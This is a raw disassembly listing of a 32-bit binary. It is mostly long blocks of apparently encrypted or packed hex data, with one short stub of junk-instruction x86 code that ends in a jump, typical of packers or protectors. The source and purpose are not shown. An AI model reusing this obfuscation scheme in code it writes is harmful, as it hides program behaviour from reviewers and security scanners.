		dd 0BE7CAB39h, 38B11294h, 61D4FFC1h, 0DFBFF56Eh, 25A6F564h
		dd 0A40566C1h, 0E5F4BA25h, 0F92E081h, 0A778E16Ah, 558D5F19h
		dd 0D9Dh, 0BA39B207h, 0FE7D0E4Fh, 40BFCC93h, 860586D5h
		dd 0CB4A591Bh, 0B49A45Eh, 0CE8EF978h, 85D13CBBh, 56188302h
		dd 0F0D5C443h, 40C6527Dh, 0F94E8020h, 6672D91Bh, 0D2167C73h
		dd 0BE97D962h, 2F8AEEFDh, 87C96ACEh, 5DF690F4h,	0E672990h
		dd 0C1933A41h, 80E261C2h, 793517A2h, 1A51h, 0D21B7C00h
		dd 4C7F705Fh, 0C9396226h, 4C8A0444h, 58632C26h,	0FCE3B9F7h
		dd 0E40CFFFFh, 30A31C38h, 2C53A0E8h, 25E06CAEh,	71315FE3h
		dd 1579A201h, 0FF6D60A2h, 62FB4E6Ch, 8E616DF2h,	9374DFB4h
		dd 0F08A68C6h, 0DC39732Dh, 64000001h, 4C7F8AF1h, 86D9E426h
		dd 0C732B138h, 0DCEFACF9h, 43BC1D78h, 96FA8DCCh, 7F9FB023h
		dd 8AB3264Ch, 0D673B929h, 264C7F65h, 1276054Bh,	399D2E71h
		dd 686337DEh, 4D16A04h,	0C79459E3h, 0C8B1E60h, 71D57398h
		dd 16EA8ED0h, 109BE4FBh, 3BDF51ACh, 73EC4D71h, 0F898B72Ah
		dd 91BA264Ch, 0C83C021h, 42CB3B4Eh, 7DF46D7Ch, 0F73DAD3Eh
		dd 4CF8E15Ah, 4411F226h, 358608E6h, 3DA6E879h, 0C6AB4058h
		dd 408F027Bh, 92264C47h, 4C6DF969h, 98000001h, 0B418A3EDh
		dd 0B9F84D13h, 667C226h, 4BCB1387h, 8F7F5FD2h, 48712C53h
		dd 411A58CFh, 0AD086C7Fh, 1D8DE84Ch, 8F113AD7h,	6142DFB4h
		dd 0EF583694h, 3C07732Dh, 32000000h, 0A31C38E4h, 0B449B361h
		dd 0ED5D5F05h, 0C6331F92h, 0FC252C53h, 46D0FB98h, 0C003DFB5h
		dd 12760949h, 814E47B7h, 2E344523h, 0E3AC2373h,	59BDCC92h
		dd 0DE399DFEh, 0B4E26Eh, 1B0D0000h, 2DD4D7A4h, 9EF95D6Eh
		dd 0D0DBA52Eh, 0FA89CB6Ch, 20ABF596h, 46551BBCh, 860556CDh
		dd 0B04EB516h, 0D8264C97h, 47840396h, 231DE205h, 0F0608ACAh
		dd 1D96BE5Eh, 0A9ADD5AAh, 692AA1D3h, 22F56149h,	0CF30479Ch
		dd 5ED7005Fh, 0CFDA9E15h, 2497106Bh, 0DFB92E2Bh, 58EFE27h
		dd 0D6AFEEB7h, 43A40584h, 881B59C4h, 0A1A31EE3h, 0C2FACC19h
		dd 0B81h, 0D6555623h, 1A992A6Bh, 5CDBE0AFh, 0A221A2F1h
		dd 0E7666537h, 1F5D887Ah, 0D2A20D8Ch, 91E550CFh, 622C9716h
		dd 4E9D857h, 40C4BE91h,	0D629420h, 0A9B7D91Bh, 0F4FD20B8h
		dd 2AB9FB84h, 6B7E40ABh, 0A3EDC1ECh, 0CA41B418h, 3691F584h
		dd 68733DC6h, 3FBE7E9h,	0E6280000h, 68959E92h, 0E84A7148h
		dd 0D48E8E4Bh, 52BA0373h, 3EC606A5h, 2D2052C5h,	9322C59h
		dd 98A4E90h, 7C7C53C6h,	2D56DFBFh, 8D1ABBBBh, 814DB71Dh
		dd 0E9990C85h, 7BD5A081h, 7A51EE52h, 59D5A07Fh,	0FB72AB78h
		dd 30832AB9h, 0E5C343B3h, 926D20FFh, 37Ch, 7FDAF1BDh, 88D2264Ch
		dd 97264C7Fh, 0DF56CF77h, 4EA90D9Eh, 441083DEh,	0E2C5384h
		dd 8E740E5h, 23F519ACh,	0AACEBh, 2ABDF800h, 6E7140ABh
		dd 0B03B84EFh, 0F6F5C631h, 3B4E0C77h, 3AB34FBCh, 7FEA6978h
		dd 0C22DAC3Fh, 974F3F6h, 0C6B53447h, 0C3616EE1h, 3F712040h
		dd 18A3EDEAh, 42C20AB4h, 2D2356C9h, 0A332C59h, 4FF7178Bh
		dd 7F3A63D6h, 133CD5AAh, 5053239Ah, 857F95D7h, 65751580h
		dd 7E2D94F5h, 0D9D5AA8Fh, 0FD8CCE30h, 5EDD3E99h, 98DAA3F3h
		dd 72517EF1h, 5881D5AAh, 0BF3296F7h, 0C975807Dh, 44B47FE2h
		dd 6DE6F5BBh, 0B022A9F6h, 40DFA25Ch, 0A0E656ACh, 0ACE8D6F6h
		dd 0E15AB519h, 0AACD616Eh, 0E74871D5h, 218FFB6Eh, 66DDDFB5h
		dd 0C8279712h, 6CB3FA9Fh, 0BF910D8Bh, 9F487h, 0E2E5B000h
		dd 26B9F863h, 68733CA7h, 0AE3D7EE9h, 0F3F6C42Fh, 0F2FB0774h
		dd 37A221A0h, 7AE56467h, 0C12CAB3Eh, 7E6DECFFh,	0C3292699h
		dd 0F7292040h, 1C38E4A2h, 0E8E75AA3h, 0EA264C7Fh, 83F651C1h
		dd 2C592D1Ah, 43BA335Ch, 20485F73h, 0C4EDF24Dh,	3979E463h
		dd 58CF42A6h, 8517871Ah, 0D144BD59h, 0D5AADAA4h, 0CCC674AEh
		dd 0B7C46509h, 2194DD56h, 0D5ABA02Eh, 0A825B4FAh, 2430D7Fh
		dd 1303C384h, 6BB35DA3h, 2BFF72EBh, 7DDFB4A0h, 0D63A410Eh
		dd 0E751A7Bh, 240D8B2Dh, 9571A52h, 84D0000h, 0C495007Fh
		dd 96D944C3h, 581B8605h, 1361CC4Bh, 5EA41190h, 43C2C193h
		dd 860598D8h, 0CD4C5F1Bh, 0E8D1C62h, 88C73A1Fh,	0CA2040C2h
		dd 0A41B4398h, 126DD1D4h, 2C5719A2h, 4C7F96B9h,	3682BC26h
		dd 0D97A799Bh, 0A60A6BCCh, 0CC30BB05h, 65CC9932h, 0AF11901Bh
		dd 7935AED1h, 19F7Eh, 38E4A900h, 0D030A31Ch, 822C5387h
		dd 7358F559h, 60DFB488h, 7654B27Fh, 25732DF6h, 180h, 0D2A3ED50h
		dd 3CA00180h, 47C6D59Bh, 920B0BD3h, 538F3F1Fh, 8F08312Ch
		dd 0A0B55F4Dh, 81F11241h, 7BB59E3Bh, 0C5A6DFB4h, 376BFF8h
		dd 0DFB47BCCh, 6736DD06h, 9674F464h, 45732D03h,	45h, 1398E75Eh
		dd 0A41B5AA3h, 0B6C989DAh, 2696F155h, 53CC4894h, 53AFECE0h
		dd 2EA1EA2Ch, 0DFB4AF21h, 0EDFCC231h, 5BCD2E89h, 0D3A68DA5h
		dd 0A0FF6F5Bh, 5D761377h, 7EDFB433h, 9472D09Dh,	43732D47h
		dd 0D7h, 0DAA41B6Eh, 88D65FCFh,	0BEFC9D01h, 0F669B22Bh
		dd 264C7FD9h, 7F458AFDh, 648D264Ch, 84EBEE7h, 19921967h
		dd 6CD0D3A2h, 375B9F11h, 89BF71DCh, 6C32D319h, 58A1DE5Dh
		dd 4CDAEAE5h, 4FBFE826h, 4C3ECCCAh, 6D589A26h, 8BD96CA1h
		dd 0B6F881F1h, 0EC30A423h, 71ADEF68h, 0CE99723Eh, 0AF227DEDh
		dd 2C56EDD0h, 890079A2h, 0CE39B8CBh, 3D58FD8Ch,	0FB19A3E8h
		dd 7DBF129h, 8CC90000h,	40117CFBh, 0A55C03Fh, 0C4970281h
		dd 9FDD48C7h, 0E2208D0Ch, 0B736B507h, 0FA790C4Ch, 41C0CB8Fh
		dd 820188D6h, 143BAE93h, 3E2040C1h, 0D21BB70Ch,	4C7F705Fh
		dd 0C9396226h, 66297240h, 3596F155h, 76054BB6h,	0FE71BAF7h
		dd 264C7FD1h, 880586D7h, 5C73E65Fh, 76264C7Fh, 0ED94DD4Dh
		dd 13B418A3h, 83C53E4Dh, 655B4016h, 0A6077718h,	8DFB2769h
		dd 8EF2F9C7h, 2FE2C133h, 2A2444B4h, 77000000h
		dd 9D57452h, 7221940Dh,	42C592Dh, 58BCCF8Dh, 52E8DFDh
		dd 97308581h, 0E356CF77h, 0D5AA7CB7h, 1C1498C1h, 80h, 0D4A41B6Fh
		dd 0A2126DD1h, 0CF48CC10h, 539D2C5Ch, 23043E2Ch, 43B662A0h
		dd 920569CAh, 0BC2F541Bh, 0DFB42A93h, 0D13596BFh, 0FA5B6E30h
		dd 1C800353h, 86CC51C1h, 0AADFB43Ah, 0D071D5E4h, 4997FB8Eh
		dd 9F124B18h, 0DFB41AB0h, 0A31879A2h, 6CAEE7B4h, 0DC198D16h
		dd 6CFE6E31h, 741F5EA0h, 0B444CE01h, 7ADB04DFh,	7D2DA019h
		dd 0FD5ABA6h, 68CCDFA0h, 0C80881FCh, 0EE4F0E7Fh, 0F20C0E8Dh
		dd 5F000000h, 0E00B38E4h, 0ED9C25F6h, 9D0184D0h, 780E142h
		dd 777447BEh, 36138207h, 0F4632C59h, 3F7B22A5h,	642E4BACh
		dd 96631011h, 1594E65Dh, 684725A5h, 0A4F47328h,	1F000000h
		dd 0A31C38E4h, 1093E35Ah, 89C639ACh, 0C9264C7Fh, 4ACF3FA0h
		dd 2C592D58h, 0E4E7B72Eh, 56B52580h, 0C60F102Dh, 0BF2D7C53h
		dd 5C6F2CDFh, 0F7209DF8h, 1D810450h, 0DF2E52C2h, 0E95C0749h
		dd 0DFBF2DE6h, 0FE62C3ECh, 2488135Dh, 0C7F9C6B5h, 61957050h
		dd 0FC127364h, 0D249824Fh, 409BFF82h, 697250D0h, 3C217328h
		dd 4C000000h, 89D638E4h, 0B528A102h, 2C592DC6h,	53542594h
		dd 0A3ED94EFh, 0F859B418h, 0BDBC11DBh, 7E54310h, 0B4732852h
		dd 29h,	3E1184CDh, 14DFBF25h, 266F60D3h, 3A63DFBFh, 1B2069D9h
		dd 7F705FD2h, 3962264Ch, 9B2444C9h, 5492264Ch, 0FFFFFE91h
		dd 1C38E4A7h, 2D1530A3h, 143D2C59h, 505B249Bh, 2CF09AE0h
		dd 483CAF28h, 1AD5AA7Fh, 9FC8EAABh, 0A0B5DEEAh,	8E0768C9h
		dd 0A9FDD245h, 0ACD5D5AAh, 4183F63Ch, 14F87637h, 0A2F6680Fh
		dd 326BE576h, 537B0D7Dh, 8EC73AB3h, 0D0DFBF15h,	0E6B72EA7h
		dd 0B22966E5h, 7839E0E3h, 0B965F767h, 0C8B1249Dh, 8AC180A7h
		dd 0A047541Bh, 0E69CDD0h, 0F9BD34ADh, 0B1FE75EEh, 0F259BA2Ah
		dd 59BFF692h, 6A0551C8h, 0EA4ED8F7h, 70D1FA69h,	4A0AB10Ch
		dd 878D337h, 2BAA317Fh,	0D7A5FEC0h, 5CBDCC8Eh, 21ED97FBh
		dd 0D39AC25h, 5B63F581h, 0AD1194E4h, 5A83E252h,	0E0AD72F6h
		dd 2BA43779h, 1D681CE9h, 31A1410Fh, 501165D0h, 0C80B6A0Eh
		dd 0FB5AAF0Eh, 34D5399Ah, 0E2FE6265h, 5D19804Dh, 1460CB4Ah
		dd 9AF12D91h, 0D73B4E0Ah, 646736h, 2EBDFEA5h, 7E4B7CCAh
		dd 0E5464517h, 407946ABh, 321C0FEh, 46B63160h, 6FEEF9BDh
		dd 0F5D91B44h, 2647F60Fh, 4F912393h, 0CC1052CBh, 0B0240FD3h
		dd 182D37Ah, 8CD2429Dh,	0B216A5EBh, 0D83C4F11h,	0F9DDF265h
		dd 0CCF5264Ch, 0ED515A25h, 4E6F3CD1h, 8CFCC9FAh, 44DC642h
		dd 1BBEC98Dh, 264CF934h, 2485F51Eh, 0C7E4F7B9h,	4517AFFDh
		dd 7141E246h, 0F8F3C76Eh, 1FACF394h, 0ACCD9ACBh, 2F96631Ch
		dd 98E15A61h, 4CF92A25h, 8FFF2826h, 0E589C829h,	42B597BBh
		dd 264CFE0Dh, 0CFAA1C45h, 8EF25318h, 4C6EDEF1h,	49C0E726h
		dd 9F127609h, 4C6E232Ch, 0A5062F26h, 86F3C35h, 4CB73649h
		dd 7C197D08h, 264C6E50h, 5BC28F96h, 0D00D8C1Fh,	3F61FC8Eh
		dd 30A0B3B2h, 4C521FABh, 0BB277426h, 3E232A66h,	0D8623FDDh
		dd 0F9427935h, 4CAE4986h, 0F0608926h, 0FFFF2864h, 0A3ED8FFFh
		dd 602E9918h, 2969E059h, 0F8272696h, 61AA23B6h,	4C7FE1EEh
		dd 21C8F126h, 0DEDD4D5Eh, 0E14815BEh, 30880C9Fh, 7934FB52h
		dd 0A6FFBB32h, 146FD3D6h, 132041B3h, 0DE198C01h, 6EE26Eh
		dd 0E40D0000h, 61A31C38h, 0B7877286h, 7480F82Fh, 5BEE62D4h
		dd 0C4379202h, 2C5960D0h, 5B5C79A2h, 0AB0F9AE4h, 0E08AC538h
		dd 9FC8DFBFh, 5CAACE3Eh, 265F2CD5h, 0E0656ADDh,	446DDFBFh
		dd 7A9A42D4h, 0B21A8E01h, 2E70D5AAh, 943F943Ch,	1B7AEA07h
		dd 0F23B6EF2h, 0AA76507Fh, 0E95982D5h, 6BC9h, 38C80A00h
		dd 6A43FB9Ah, 167A014Fh, 0A1EA5ABBh, 89D638E4h,	9BFD9AF1h
		dd 0CC2D519Bh, 0B7FF26Bh, 612C5942h, 0B71BAEEAh, 0BEFED144h
		dd 0ABD4DFBFh, 0CFDCA34Ah, 0BAD7005Fh, 10E9FF0h, 0E2B9FB34h
		dd 0F7F5A34Bh, 0D9059707h, 0C125A6F7h, 92F4DB4Eh, 0B5DEDFBFh
		dd 317AF354h, 75E7FABAh, 4CBD8974h, 0A1269643h,	0D5AA70F5h
		dd 0B1D2567Fh, 9F18A3EDh, 4485435Dh, 5DCD24F5h,	0E85BA417h
		dd 264C51E7h, 51537CEFh, 567F264Ch, 0B740B0D9h,	0EF63E2E9h
		dd 3BAE272Fh, 2C53A11Bh, 62AB244Dh, 0B561E0EFh,	59C9F2DFh
		dd 615D7613h, 9D7EDFB5h, 1D9472D0h, 8343732Eh, 6E000000h
		dd 0A31C38E4h, 7FE8E75Ah, 0C1EA264Ch, 7FFAD548h, 0AFD8264Ch
		dd 599BE43Fh, 9CF8BDF7h, 7203DF3Ch, 9032A315h, 735CCF48h
		dd 5F264CE1h, 0D41C636h, 4B2C5331h, 59008BD4h, 0C6218516h
		dd 6ACEF756h, 0B51186CDh, 27F4D5DFh, 7863A5EEh,	80827DFCh
		dd 0C51E31D4h, 0F334DFB5h, 0B5C54F80h, 0F95A83DFh, 0B62B0989h
		dd 0C709732Eh, 17884D47h, 0F3DC4F08h, 0DFDFB57Dh, 0E1AE55B6h
		dd 0AB1B76DAh, 0C71Fh, 0A3ED4A00h, 0CA41B418h, 3C97FB8Eh
		dd 727143CCh, 37599B0Eh, 8F33385Dh, 0FF5778EBh,	527B264Ch
		dd 0B6F881F1h, 501EBF23h, 5563CA49h, 75264C04h,	0B621A02Bh
		dd 0D37DE1E8h, 99B1F30Bh, 403B1A70h, 35A3AC4Fh,	86AF264Ch
		dd 0B139AC25h, 0E32C53EFh, 7C73BBAh, 4A1386FFh,	0CD5AF0Fh
		dd 0A7758CBh, 325BD5A3h, 0CD0F58D1h, 1713A7D2h,	0B039A92Ch
		dd 0F560DFE2h, 0B6990CA7h, 9CD5A345h, 0F559622Dh, 33D8399Ah
		dd 13BBC85Ch, 7E20582Ah, 26000001h, 6ED95853h, 0B21D9C2Fh
		dd 0F45FDEEDh, 3AA524A7h, 7DEA6978h, 9B2E6C85h,	0DEE1B11Ch
		dd 25A0F45Fh, 66753BA6h, 0A013F8E7h, 2040BAAFh,	0ED1C71A3h
		dd 329D1CAFh, 0B3DE5D6Ch, 0A31C38E4h, 53AF1C30h, 0A90D362Ch
		dd 0B4AFC70Ch, 663314DFh, 0E1E8B62Dh, 32B2227Dh, 732DCB54h
		dd 0D0F3BD34h, 0B4A3725Dh, 0D63760DFh, 0C4DA66h, 0ED050000h
		dd 41B418A3h, 85F584CAh, 0C72BBEFCh, 4C841C2Ah,	67723C26h
		dd 0A8337DE8h, 0E6F9B82Fh, 98861682h, 8C253A09h, 0CB75BB2Bh
		dd 138A0303h, 0D9994043h, 88FB56C6h, 0D3AC7AE0h, 168A0932h
		dd 62D54EF6h, 0D5AE91B8h, 0B00279BAh, 70418E31h, 6891D5A3h
		dd 46178E07h, 0DF86E145h, 4CA70B90h, 480A81DCh,	0D4FBA39h
		dd 0FD48D97Eh, 0D4A613BBh, 0A09Ch, 36B10400h, 7A0D4CB7h
		dd 0BCCF90FBh, 281D23Dh, 475A1883h, 3EA75BC8h, 83EE6D7Ch
		dd 0C631B033h, 0D78F7F2h, 0CAB93843h, 0B95D72E5h, 43752040h
		dd 4AFEDEEh, 4C7FBE91h,	2A259826h, 28264C7Fh, 0E05982FFh
		dd 4C7F626Dh, 0E6477026h, 27B2FC67h, 0A3ED7DA8h, 4D13B418h
		dd 97CC53Eh, 264C7FC6h,	1273E30Ch, 53D2D9A7h, 0AF13A6E8h
		dd 5ACEC212h, 0BF8CBD85h, 4831658h, 60C4D799h, 8BEFFCBFh
		dd 0E754207h, 4FBA3940h, 0DE167A01h, 11h, 41836A31h, 0E713E2D2h
		dd 0DEEDB3F3h, 4EBE1F7Ah, 1FA8ED05h, 45541ABBh,	717440E1h
		dd 992C6C0Dh, 0C3C69435h, 0EDFCBE5Fh, 18ABE889h, 3F4C13B4h
		dd 687B3ADBh
		db 4, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	0E14h
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	esi, 61E7072h
		push	edx
		mov	edx, 0FFEE3F89h
		add	esi, edx
		pop	edx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50B59E
; ---------------------------------------------------------------------------
		db 45h,	55h, 56h
		dd 0CC6DCB8h, 0FFC50306h, 53A9A2E0h, 5625FA72h,	3F0BEC09h
		dd 8BB4C935h, 9257A371h, 11E856h, 84970000h, 73DBB3ECh
		dd 13E23823h, 0BC7679B7h, 8A0D2C78h, 0D6815AFDh, 52C5D611h
		dd 6FFFC281h, 0BFF80000h, 25441160h, 0AB0F781h,	0BF0F2544h
		dd 5832FFF3h, 0D3C68166h, 72F08126h, 0B92EA54Ch, 455C8322h
		dd 7C33C081h, 0F78B7963h, 0C133F081h, 0CE943C2h, 0F9000000h
		dd 0B74A1307h, 205067A6h, 89DF56EEh, 9E802h, 52350000h
		dd 0A2596626h, 66551BC3h, 5EAE25B9h, 6602EA83h,	4A964FB9h
		dd 0F181664Ah, 0F4FEAD8h, 1885h, 2A35B900h, 2EE96E16h
		dd 67000000h, 0C233F35Dh, 3DFE1F18h, 338BE4D7h,	0CE97Ah
		dd 0C9E00000h, 0E8E6B91Fh, 195C1253h, 76E9DE37h, 11FFFFFFh
		dd 8EF0C7F3h, 0C9DE27C3h, 46E9FDh, 0F0B10000h, 2BD1h, 1C570000h
		dd 48434AC5h, 0ADF93661h, 8C88A7A5h, 0B7FB7552h, 0F99CBE00h
		dd 937EE5ADh, 0C7009D89h, 63921DF4h, 0DE1960h, 6 dup(0)
		dd 0AAEE9h, 0C9976800h,	0CFE9060Ch, 68FFFAB2h, 60CCACBh
		dd 0FAB2C5E9h, 0CBCD68FFh, 0BBE9060Ch, 68FFFAB2h, 60CCC6Ah
		dd 0FAB2B1E9h, 0CD3068FFh, 0A7E9060Ch, 68FFFAB2h, 60CCE4Fh
		dd 0FAB29DE9h, 0CF1568FFh, 93E9060Ch, 68FFFAB2h, 60CD10Fh
		dd 0FAB289E9h, 0D1E768FFh, 7FE9060Ch, 0F1FFFAB2h, 89573526h
		dd 24F2D08Bh, 0C3916FECh, 602E0C4Fh, 2DC8A6B5h,	0DE7D983Fh
		dd 77E43200h, 1348CB99h, 0B1AA6735h, 961D01D3h,	84D433B4h
		dd 0E9A75F39h, 0EA4F3229h, 2309D148h, 3625EDABh, 1645CF13h
		dd 9A7D2CF3h, 0BA31C20Dh, 1E044778h, 0FB29E8A6h, 0BAA29274h
		dd 25D41778h, 94583B02h, 3200DE7Dh, 59597CDFh, 0E8739DC0h
		dd 5E40C7C5h, 0E378BAA2h, 5C42F1A0h, 0C6E9729Eh, 179E1CFFh
		dd 72AD68B1h, 87452B6Eh, 25F3D18Ah, 4C4C6FECh, 0A0270DD5h
		dd 6CA5F06Dh, 0C54BEBB2h, 29EEC41Ch, 508F437Ah,	4FB01DB9h
		dd 92053h, 0DF7C9B00h, 7AE13301h, 1942CE9Ch, 0B6A56D3Bh
		dd 500B0AD8h, 4295D772h, 0DCAA88D3h, 7543213Ah,	11DFBD9Eh
		dd 0AB7D5B00h, 345E40C7h, 9E384D4h, 170D046Ah, 6B36189Fh
		dd 78BB7EC7h, 0C76BA183h, 34E3267Eh, 1744CD11h,	0B239B139h
		dd 7EC76AD0h, 0AF2F1255h, 78E74AAh, 78C07B34h, 465376B9h
		dd 78C05B70h, 72A462FEh, 1CFFC6E9h, 7510378Ch, 16E48FC5h
		dd 42h,	9D1483Dh, 0C3E6AB23h, 6DB0223Ch, 0CEA53215h, 4B78C098h
		dd 2D8E508h, 3878C139h,	1A5E81DAh, 0D73965F6h, 4386184h
		dd 0A9B263BFh, 3C10BF86h, 7312298Eh, 18E48EE3h,	0D4h, 0B0AB6826h
		dd 0D0468CDh, 2EE72B4Eh, 4BC60A2Dh, 0A56C2A10h,	0E9CC93B6h
		dd 3427EA2Eh, 6EE4BF56h, 0EF227EC7h, 48068E6Ch,	0E8AC8FCCh
		dd 0F0F3229h, 76EED40Ah, 200358B8h, 0C06DA093h,	44226578h
		dd 0C017FEBCh, 0A7AEA153h, 381BCAABh, 9379A1B8h, 0A8B35D1Bh
		dd 4EDBBE85h, 72B60E11h, 67250B4Eh, 77E430AEh, 0A462EAC8h
		dd 14B6E972h, 0DE99D599h, 0DE37FBDEh, 0DC96467Dh, 48A917A8h
		dd 7EC4Ch, 1348CF00h, 0AEAD6735h, 4D0E02D0h, 0EA71A16Fh
		dd 84D73E0Ch, 76610BA6h, 10DEBC9Fh, 0A9775506h,	4513F16Ah
		dd 0DFB18FCCh, 359274FBh, 3D1784D4h, 898C4A9Eh,	0DE380F4Eh
		dd 0E08F083Ah, 4F13F6BDh, 0E9B795C6h, 8F4D3328h, 6FB3D685h
		dd 0CA91B4A7h, 53C2381Bh, 2309D148h, 0BF9BC59Ch, 0DCFF4278h
		dd 0FDDF66DEh, 8278C03Ah, 0F9CF5C3Fh, 8778C03Ah, 0C07EE2D9h
		dd 6648CF55h, 0EB78C03Bh, 48CDF9A8h, 4629F013h,	8FE1DEA7h
		dd 0B8ADE4h, 4D40000h, 0E72B4E0Dh, 0FD0A2D2Eh, 7EC76F22h
		dd 0CCAAB160h, 254813FEh, 28AF3C25h, 7EC76746h,	0A6C99284h
		dd 8B7FADFh, 28ECAA22h,	0D0C35033h, 9478C06Ch, 0D8ED17CFh
		dd 0DA159BCCh, 0ACD99726h, 0F8C6F1Eh, 0E928E6CCh, 8CCF4672h
		dd 0B0A933A9h, 0C9FD846Ah, 0E72B604h, 0EE27E5CBh, 8F078F6Dh
		dd 0B6B52608h, 8568AB72h, 0D00754C1h, 17A980D6h, 0EACCC829h
		dd 0D1000006h, 69371546h, 4D2B0ABh, 0A3714F0Ch,	400EEC6Fh
		dd 0DA886D5h, 0BE9D785Fh, 570412E0h, 0F368AB79h, 91CA4715h
		dd 76FDE1B3h, 84D43694h, 4AA03F19h, 6B694BD2h, 0ABEE7EC7h
		dd 4A1104C8h, 0E8739E6Ch, 0D049B0Ah, 9EA3684Eh,	344B77C7h
		dd 0CE12CDB0h, 0A33A1843h, 7EC7F8CDh, 260CD247h, 0CDAF36AEh
		dd 0B7EC7F7h, 2C6F5407h, 63461500h, 0BABE55D6h,	0F1D71A78h
		dd 0EB84FE2Ch, 795CA60Fh, 87D43DFBh, 2536DBA9h,	0C71F0202h
		dd 0BCBF5AE1h, 81C472B3h, 0ACA0664Ah, 3C389917h, 64Dh
		dd 0D4B2A96Eh, 6F4D0E06h, 0EEC6FA1h, 0AB89D240h, 452338DDh
		dd 15C2AAh, 67AF7D5Bh, 0CB4816F4h, 2DE4B290h, 9A7E502Eh
		dd 0D4373113h, 3DDCB684h, 684E0D04h, 0CFF269AAh, 266A2508h
		dd 8E4D70EBh, 2CE53186h, 0DDA8512Fh, 0AEDE88B1h, 7, 1CC4CD5h
		dd 4AE90000h, 0F3D6858Ch, 0C76B9066h, 0CF170A7Eh, 31F462E9h
		dd 6EB178BAh, 11981088h, 78BAA32Fh, 9A7C71B4h, 1F78BAA3h
		dd 37BF9DCh, 6B8ECD45h,	14FDC1A4h, 0D8BF3FC3h, 6D1CF249h
		dd 0DD47C987h, 0BAB97456h, 7B6F978h, 31E0AE24h,	1207072Ah
		dd 0E828E6CCh, 0B8D3B53Ch, 155878BAh, 7E058366h, 72B3CCE3h
		dd 4C6EA5E8h, 0B317AC90h, 5875652h, 0E3340000h,	48CC9A78h
		dd 0A9673513h, 0C06D4B2h, 72A3714Fh, 0FC700BE9h, 43213ADBh
		dd 0DCBAA175h, 7856050Eh, 16F467AAh, 0F7D96044h, 7C84D437h
		dd 8C4A03A2h, 6CB0D388h, 2003B2A9h, 8C22B55Ch, 0E89A6595h
		dd 0E5294CFBh, 0D93AF82Ch, 33AB8D82h, 0ED307EC8h, 545C1B3Eh
		dd 805EB36Fh, 0DBA2C596h, 0E0A54E2Ch, 0ABDE87E9h, 7, 0EC4CD2h
		dd 4AE90000h, 79249885h, 0DDC013A7h, 60E7C45Dh,	7EC8187Eh
		dd 53DAC003h, 7EC81871h, 1E04B3F6h, 2D2EE8A6h, 0D360430Ah
		dd 78BADE88h, 26E4CA0Dh, 0C49270EBh, 0B0280E4Dh, 0BB4F4729h
		dd 0A689CC78h, 0B076EBEBh, 15DD43CAh, 0DB9972AEh, 0EB70A33Bh
		dd 6F5201C8h, 51C9AFF2h, 0AE86E8CAh, 472A6D72h,	61D951C9h
		dd 0AE86F8DAh, 453A7D72h, 72AE8763h, 0FD9F21E8h, 0E9F08474h
		dd 7E93573Ah, 74A7B460h, 340B216Eh, 0E4C271C3h,	3D60FB16h
		dd 18FE243Dh, 2833E2A0h, 800B3E05h, 0F201613Bh,	0C3F68366h
		dd 86CA74Eh, 17768EC5h,	68C91DB8h, 4686Ch, 97C45300h, 3229EBB9h
		dd 0D18A8654h, 6EED25F3h, 853C290h, 0FADD8F2Ah,	9462401Bh
		dd 2DFBD982h, 0C99775E6h, 63351348h, 3916F87Fh,	0C19B84D4h
		dd 13E4C22h, 12D00000h,	733A5DFEh, 0D1482B90h, 519C2309h
		dd 0D578BA32h, 0C361EE10h, 49C7CD27h, 7928EF12h, 0F0D61996h
		dd 90F8DF32h, 0C2997890h, 0AA5D89Fh, 0DEBC6B09h, 39DD0110h
		dd 8938FF22h, 0A7F36666h, 4FC67CE5h, 9D833231h,	0ADAE6725h
		dd 91CA468Ah, 0C72FFE2h, 0C872ADC1h, 6E510A0Ah,	0AC8AEF1h
		dd 0A8765407h, 0D1CFF269h, 9D240013h, 72AE32BBh, 684EFD40h
		dd 0AE31FFE1h, 5E418472h, 0BDA37BDEh, 0A6480336h, 0CE05486Ch
		dd 1DB91E40h, 0A2A29EFFh, 19000003h, 0B17F5DFEh, 4C1AF863h
		dd 0EBB997C4h, 88563427h, 55F0CE8Dh, 655C017h, 9FBC5A28h
		dd 3B20F3C1h, 0D9828F5Dh, 0BE4529FBh, 84D439DCh, 4AE88761h
		dd 0F2D5868Ch, 5578E32Eh, 365D9257h, 0FD23B814h, 0A0BB561Ah
		dd 4516FCBAh, 0BD785B22h, 5581F6FEh, 0FFE168BCh, 847EC82Eh
		dd 0BB49241h, 0DE87ED7Ah, 5FFC16D4h, 411AF83Ch,	3D6EAF92h
		dd 7C000000h, 239B7D04h, 0DD207EC8h, 0D14895FAh, 0E29C2309h
		dd 2778BFB5h, 0D040FEE4h, 3F16AD8Bh, 7578C01Dh,	59E1BF9Ch
		dd 0FEE17A9Bh, 9F85D63Ah, 1DBEA027h, 4378C0h, 0F666621Dh
		dd 3000002h, 0E92854Ah,	0E2368D6Fh, 83D83BFFh, 66F51C60h
		dd 7BB1BB80h, 2D1DF452h, 0EDB55F34h, 0E3924Ah, 655BC8Ah
		dd 0ABB06220h, 48C90DC8h, 0B6AB3513h, 30038A70h, 0B578C156h
		dd 6C424F72h, 0FA78C136h, 0B5D0774Ch, 0D6E48EEAh, 20h
		dd 9D148FDh, 9BC59C23h,	0FF4278BFh, 3AF9CFDCh, 0D98778C0h
		dd 0E1285DE2h, 1B63E48Fh, 8A000001h, 2B4E0D04h,	0F2A92EE7h
		dd 5355EF3Eh, 0B3A86E9Ah, 0F71AC990h, 0EB0A34F9h, 5F567AE7h
		dd 259B87Ch, 0E5769BDFh, 86D541FFh, 0C492B53h, 0DCBF4D6Eh
		dd 52F4CF66h, 0B3787EC8h, 3467408Eh, 34C3151Bh,	3C92F124h
		dd 0F16AA7D3h, 602407CEh, 76E52DB1h, 0B2608C53h, 10BF86A9h
		dd 0AEAD6432h, 510A0AC8h
		dd 0C984672Eh, 1E060DCBh, 0C828B597h, 48F73A7Eh, 4164F71Ch
